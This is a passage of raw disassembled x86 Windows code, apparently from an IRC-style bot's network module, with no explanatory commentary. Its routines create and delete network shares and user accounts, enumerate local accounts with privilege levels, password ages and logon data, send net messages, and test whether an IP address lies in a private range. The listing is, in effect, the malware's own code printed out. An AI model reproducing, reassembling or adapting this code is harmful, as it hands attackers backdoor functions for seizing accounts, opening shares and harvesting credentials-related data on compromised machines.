pop ecx
test eax, eax
pop ecx
jnz short loc_40A301
push 57h
pop eax
loc_40A2DA: ; CODE XREF: sub_40A29A+77j
push eax
call sub_40AC44
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_44BCB4
push off_43A4D0[eax*4]
push offset aNetSErrorWithS ; "[NET]: %s: Error with share: '%s'. %s"
push esi
call sub_418D70
add esp, 18h
jmp short loc_40A353
; ---------------------------------------------------------------------------
loc_40A301: ; CODE XREF: sub_40A29A+2Dj
; sub_40A29A+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_40A3C0
add esp, 0Ch
loc_40A30F: ; CODE XREF: sub_40A29A+27j
test eax, eax
jnz short loc_40A2DA
loc_40A313: ; CODE XREF: sub_40A29A+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_44BCB4
push off_43A4D4[eax*4]
push offset aNetSShareS_ ; "[NET]: %s share: '%s'."
push esi
call sub_418D70
add esp, 10h
jmp short loc_40A353
; ---------------------------------------------------------------------------
loc_40A333: ; CODE XREF: sub_40A29A+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_44BCB4
lea eax, [eax+eax*2]
push off_43A4D0[eax*4]
push offset aNetSNoShareSpe ; "[NET]: %s: No share specified."
push esi
call sub_418D70
add esp, 0Ch
loc_40A353: ; CODE XREF: sub_40A29A+65j
; sub_40A29A+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_40A29A endp
; =============== S U B R O U T I N E =======================================
sub_40A359 proc near ; CODE XREF: sub_413B31+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_40A366
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40A366: ; CODE XREF: sub_40A359+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_4943B0
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_44BEB4, 1
mov ebp, eax
jnz short loc_40A3A3
or byte_44BEB4, 1
lea eax, [ebp+1]
push eax
call sub_41B010
pop ecx
mov dword_44BC54, eax
loc_40A3A3: ; CODE XREF: sub_40A359+32j
push esi
push esi
push ebp
push dword_44BC54
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_44BC54
pop edi
pop ebp
pop ebx
pop esi
retn
sub_40A359 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A3C0 proc near ; CODE XREF: sub_40A29A+6Dp
; sub_413E55+184p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_40A42B
push [ebp+arg_4]
mov edi, eax
call sub_40A42B
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_4199F0
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_40A42B
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_44B5C0
pop edi
leave
retn
sub_40A3C0 endp
; =============== S U B R O U T I N E =======================================
sub_40A42B proc near ; CODE XREF: sub_40A3C0+Ap
; sub_40A3C0+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_40A438
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40A438: ; CODE XREF: sub_40A42B+9j
push ebx
push esi
mov esi, ds:dword_4942D4
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41B010
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_40A42B endp
; =============== S U B R O U T I N E =======================================
sub_40A46C proc near ; CODE XREF: sub_40A29A+20p
; sub_413B31+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40A42B
push [esp+8+arg_4]
mov esi, eax
call sub_40A42B
pop ecx
pop ecx
push 0
push eax
push esi
call dword_44B598
pop esi
retn
sub_40A46C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A48F proc near ; CODE XREF: sub_40C50A+2129p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_40A42B
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 18h
loc_40A4C8: ; CODE XREF: sub_40A48F+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_44B60C
mov ebx, eax
cmp ebx, esi
jz short loc_40A52B
cmp ebx, 0EAh
jz short loc_40A52B
push ebx
push ebx
call sub_40AC44
pop ecx
push eax
lea eax, [ebp+var_210]
push offset aNetShareListEr ; "[NET]: Share list error: %s <%ld>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 24h
jmp short loc_40A598
; ---------------------------------------------------------------------------
loc_40A52B: ; CODE XREF: sub_40A48F+5Dj
; sub_40A48F+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_40A58F
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_40A539: ; CODE XREF: sub_40A48F+FCj
push dword ptr [esi+10h]
call dword_44B5B4 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_40A550
mov eax, offset aNo ; "No"
loc_40A550: ; CODE XREF: sub_40A48F+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_40A539
xor esi, esi
loc_40A58F: ; CODE XREF: sub_40A48F+A2j
push [ebp+var_4]
call dword_44B750
loc_40A598: ; CODE XREF: sub_40A48F+9Aj
cmp ebx, 0EAh
jz loc_40A4C8
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40A48F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5B0 proc near ; CODE XREF: sub_40C50A+217Dp
; sub_40C50A+21A4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_40A654
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_40A5F2
dec eax
jz short loc_40A5E7
dec eax
jnz short loc_40A60D
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_40A6F6
add esp, 14h
jmp short loc_40A609
; ---------------------------------------------------------------------------
loc_40A5E7: ; CODE XREF: sub_40A5B0+1Dj
push ebx
push edi
call sub_40A6D5
pop ecx
pop ecx
jmp short loc_40A609
; ---------------------------------------------------------------------------
loc_40A5F2: ; CODE XREF: sub_40A5B0+1Aj
cmp [ebp+arg_8], edi
jz short loc_40A606
push [ebp+arg_8]
push ebx
push edi
call sub_40A67B
add esp, 0Ch
jmp short loc_40A609
; ---------------------------------------------------------------------------
loc_40A606: ; CODE XREF: sub_40A5B0+45j
push 57h
pop eax
loc_40A609: ; CODE XREF: sub_40A5B0+35j
; sub_40A5B0+40j ...
cmp eax, edi
jnz short loc_40A62D
loc_40A60D: ; CODE XREF: sub_40A5B0+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_44BEB8
push off_43A4D4[eax*4]
push offset aNetSUsernameS_ ; "[NET]: %s username: '%s'."
push esi
call sub_418D70
add esp, 10h
jmp short loc_40A674
; ---------------------------------------------------------------------------
loc_40A62D: ; CODE XREF: sub_40A5B0+5Bj
push eax
call sub_40AC44
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_44BEB8
push off_43A4D0[eax*4]
push offset aNetSErrorWithU ; "[NET]: %s: Error with username: '%s'. %"...
push esi
call sub_418D70
add esp, 18h
jmp short loc_40A674
; ---------------------------------------------------------------------------
loc_40A654: ; CODE XREF: sub_40A5B0+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_44BEB8
lea eax, [eax+eax*2]
push off_43A4D0[eax*4]
push offset aNetSNoUsername ; "[NET]: %s: No username specified."
push esi
call sub_418D70
add esp, 0Ch
loc_40A674: ; CODE XREF: sub_40A5B0+7Bj
; sub_40A5B0+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40A5B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A67B proc near ; CODE XREF: sub_40A5B0+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_40A42B
push [ebp+arg_4]
mov edi, eax
call sub_40A42B
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_40A42B
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_44B5A4
pop edi
leave
retn
sub_40A67B endp
; =============== S U B R O U T I N E =======================================
sub_40A6D5 proc near ; CODE XREF: sub_40A5B0+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40A42B
push [esp+8+arg_4]
mov esi, eax
call sub_40A42B
pop ecx
pop ecx
push eax
push esi
call dword_44B594
pop esi
retn
sub_40A6D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6F6 proc near ; CODE XREF: sub_40A5B0+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_40A42B
push [ebp+arg_4]
mov esi, eax
call sub_40A42B
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_44B718
test eax, eax
mov [ebp+arg_0], eax
jnz loc_40AA83
mov eax, [ebp+var_4]
test eax, eax
jz loc_40AABE
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_418D70
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_40A80F
dec eax
jz short loc_40A808
dec eax
jz short loc_40A801
mov eax, offset aUnknown_1 ; "Unknown"
jmp short loc_40A814
; ---------------------------------------------------------------------------
loc_40A801: ; CODE XREF: sub_40A6F6+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_40A814
; ---------------------------------------------------------------------------
loc_40A808: ; CODE XREF: sub_40A6F6+FFj
mov eax, offset aUser_0 ; "User"
jmp short loc_40A814
; ---------------------------------------------------------------------------
loc_40A80F: ; CODE XREF: sub_40A6F6+FCj
mov eax, offset aGuest ; "Guest"
loc_40A814: ; CODE XREF: sub_40A6F6+109j
; sub_40A6F6+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
loc_40A896: ; DATA XREF: .data:00435644o
; .data:00435688o ...
push offset aParametersS ; "Parameters: %S"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40842D
add esp, 20h
pop edi
pop ebx
jmp short loc_40AAAF
; ---------------------------------------------------------------------------
loc_40AA83: ; CODE XREF: sub_40A6F6+35j
push eax
lea eax, [ebp+var_204]
push offset aNetUserInfoErr ; "[NET]: User info error: <%ld>"
push eax
call sub_418D70
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40842D
add esp, 20h
loc_40AAAF: ; CODE XREF: sub_40A6F6+38Bj
cmp [ebp+var_4], 0
jz short loc_40AABE
push [ebp+var_4]
call dword_44B750
loc_40AABE: ; CODE XREF: sub_40A6F6+40j
; sub_40A6F6+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_40A6F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AAC4 proc near ; CODE XREF: sub_40C50A+21E1p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_40A42B
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 18h
loc_40AB03: ; CODE XREF: sub_40AAC4+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_44B628
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_40AB64
cmp eax, 0EAh
jz short loc_40AB64
push eax
push eax
call sub_40AC44
pop ecx
push eax
lea eax, [ebp+var_218]
push offset aNetUserListErr ; "[NET]: User list error: %s <%ld>"
push eax
call sub_418D70
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 24h
jmp short loc_40ABDF
; ---------------------------------------------------------------------------
loc_40AB64: ; CODE XREF: sub_40AAC4+62j
; sub_40AAC4+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_40ABF2
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_40ABDF
loc_40AB76: ; CODE XREF: sub_40AAC4+EDj
cmp edi, esi
jz short loc_40ABB5
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_8 ; " %S"
push eax
call sub_418D70
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_40AB76
jmp short loc_40ABDF
; ---------------------------------------------------------------------------
loc_40ABB5: ; CODE XREF: sub_40AAC4+B4j
lea eax, [ebp+var_218]
push offset aNetAnAccessVio ; "[NET]: An access violation has occured."...
push eax
call sub_418D70
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 1Ch
loc_40ABDF: ; CODE XREF: sub_40AAC4+9Ej
; sub_40AAC4+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_40ABF2
push edi
call dword_44B750
xor edi, edi
mov [ebp+var_4], edi
loc_40ABF2: ; CODE XREF: sub_40AAC4+A5j
; sub_40AAC4+120j
cmp [ebp+var_C], 0EAh
jz loc_40AB03
cmp edi, esi
jz short loc_40AC0A
push edi
call dword_44B750
loc_40AC0A: ; CODE XREF: sub_40AAC4+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_418D70
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40AAC4 endp
; =============== S U B R O U T I N E =======================================
sub_40AC44 proc near ; CODE XREF: sub_40A29A+41p
; sub_40A48F+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_40ACF6
jz loc_40ACEF
cmp eax, 7Bh
ja short loc_40ACBB
jz short loc_40ACB1
cmp eax, 5
jz short loc_40ACA7
cmp eax, 8
jz short loc_40AC9D
cmp eax, 32h
jz short loc_40AC93
cmp eax, 35h
jz short loc_40AC89
cmp eax, 57h
jnz loc_40AD45
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_40AD66
; ---------------------------------------------------------------------------
loc_40AC89: ; CODE XREF: sub_40AC44+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_40AD66
; ---------------------------------------------------------------------------
loc_40AC93: ; CODE XREF: sub_40AC44+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_40AD66
; ---------------------------------------------------------------------------
loc_40AC9D: ; CODE XREF: sub_40AC44+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_40AD66
; ---------------------------------------------------------------------------
loc_40ACA7: ; CODE XREF: sub_40AC44+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_40AD66
; ---------------------------------------------------------------------------
loc_40ACB1: ; CODE XREF: sub_40AC44+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_40AD66
; ---------------------------------------------------------------------------
loc_40ACBB: ; CODE XREF: sub_40AC44+1Aj
sub eax, 7Ch
jz short loc_40ACE8
sub eax, 7C8h
jz short loc_40ACE1
dec eax
jz short loc_40ACD7
dec eax
jnz short loc_40AD45
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_40AD66
; ---------------------------------------------------------------------------
loc_40ACD7: ; CODE XREF: sub_40AC44+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_40AD66
; ---------------------------------------------------------------------------
loc_40ACE1: ; CODE XREF: sub_40AC44+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_40AD66
; ---------------------------------------------------------------------------
loc_40ACE8: ; CODE XREF: sub_40AC44+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_40AD66
; ---------------------------------------------------------------------------
loc_40ACEF: ; CODE XREF: sub_40AC44+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_40AD66
; ---------------------------------------------------------------------------
loc_40ACF6: ; CODE XREF: sub_40AC44+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_40AD2F
jz short loc_40AD28
sub eax, 8ADh
jz short loc_40AD5A
dec eax
dec eax
jz short loc_40AD21
dec eax
jz short loc_40AD1A
dec eax
dec eax
jnz short loc_40AD45
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_40AD66
; ---------------------------------------------------------------------------
loc_40AD1A: ; CODE XREF: sub_40AC44+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_40AD66
; ---------------------------------------------------------------------------
loc_40AD21: ; CODE XREF: sub_40AC44+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_40AD66
; ---------------------------------------------------------------------------
loc_40AD28: ; CODE XREF: sub_40AC44+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_40AD66
; ---------------------------------------------------------------------------
loc_40AD2F: ; CODE XREF: sub_40AC44+B9j
sub eax, 8CAh
jz short loc_40AD61
sub eax, 17h
jz short loc_40AD5A
sub eax, 25h
jz short loc_40AD53
sub eax, 29h
jz short loc_40AD4C
loc_40AD45: ; CODE XREF: sub_40AC44+35j
; sub_40AC44+87j ...
push offset aAnUnknownError ; "An unknown error occurred."
jmp short loc_40AD66
; ---------------------------------------------------------------------------
loc_40AD4C: ; CODE XREF: sub_40AC44+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_40AD66
; ---------------------------------------------------------------------------
loc_40AD53: ; CODE XREF: sub_40AC44+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_40AD66
; ---------------------------------------------------------------------------
loc_40AD5A: ; CODE XREF: sub_40AC44+C2j
; sub_40AC44+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_40AD66
; ---------------------------------------------------------------------------
loc_40AD61: ; CODE XREF: sub_40AC44+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_40AD66: ; CODE XREF: sub_40AC44+40j
; sub_40AC44+4Aj ...
push offset dword_44BC58
call sub_418D70
pop ecx
mov eax, offset dword_44BC58
pop ecx
retn
sub_40AC44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD78 proc near ; CODE XREF: sub_40C50A+2220p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41B060
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call ds:dword_4943B4
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41B060
lea eax, [ebp+var_718]
push eax
call sub_41B030
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_44B6D0
test eax, eax
jnz short loc_40AE08
mov esi, offset dword_44BA54
push offset aNetMessageSent ; "[NET]: Message sent successfully."
push esi
call sub_418D70
pop ecx
pop ecx
jmp short loc_40AE31
; ---------------------------------------------------------------------------
loc_40AE08: ; CODE XREF: sub_40AD78+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_40AC44
pop ecx
mov esi, offset dword_44BA54
push eax
push offset aNetSServerSMes ; "[NET]: %s <Server: %S> <Message: %S>"
push esi
call sub_418D70
add esp, 14h
loc_40AE31: ; CODE XREF: sub_40AD78+8Ej
mov eax, esi
pop esi
leave
retn
sub_40AD78 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20h
cmp dword ptr [ebp+8], 0
push esi
jz loc_40AECB
push offset dword_44C2D0
push dword ptr [ebp+8]
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40AECB
push 20h
lea eax, [ebp-20h]
push dword ptr [ebp+8]
push eax
call sub_4191A0
lea eax, [ebp-20h]
push offset a__0 ; "."
push eax
call sub_419890
add esp, 14h
test eax, eax
jz short loc_40AECB
push eax
call sub_4195F0
mov dword ptr [esp], offset a__1 ; "."
push 0
mov esi, eax
call sub_419890
pop ecx
test eax, eax
pop ecx
jz short loc_40AECB
push eax
call sub_4195F0
cmp esi, 0Ah
pop ecx
jz short loc_40AEC6
cmp esi, 0ACh
jnz short loc_40AEB7
cmp eax, 0Fh
jle short loc_40AECB
cmp eax, 20h
jl short loc_40AEC6
loc_40AEB7: ; CODE XREF: .text:0040AEABj
cmp esi, 0C0h
jnz short loc_40AECB
cmp eax, 0A8h
jnz short loc_40AECB
loc_40AEC6: ; CODE XREF: .text:0040AEA3j
; .text:0040AEB5j
push 1
pop eax
jmp short loc_40AECD
; ---------------------------------------------------------------------------
loc_40AECB: ; CODE XREF: .text:0040AE41j
; .text:0040AE58j ...
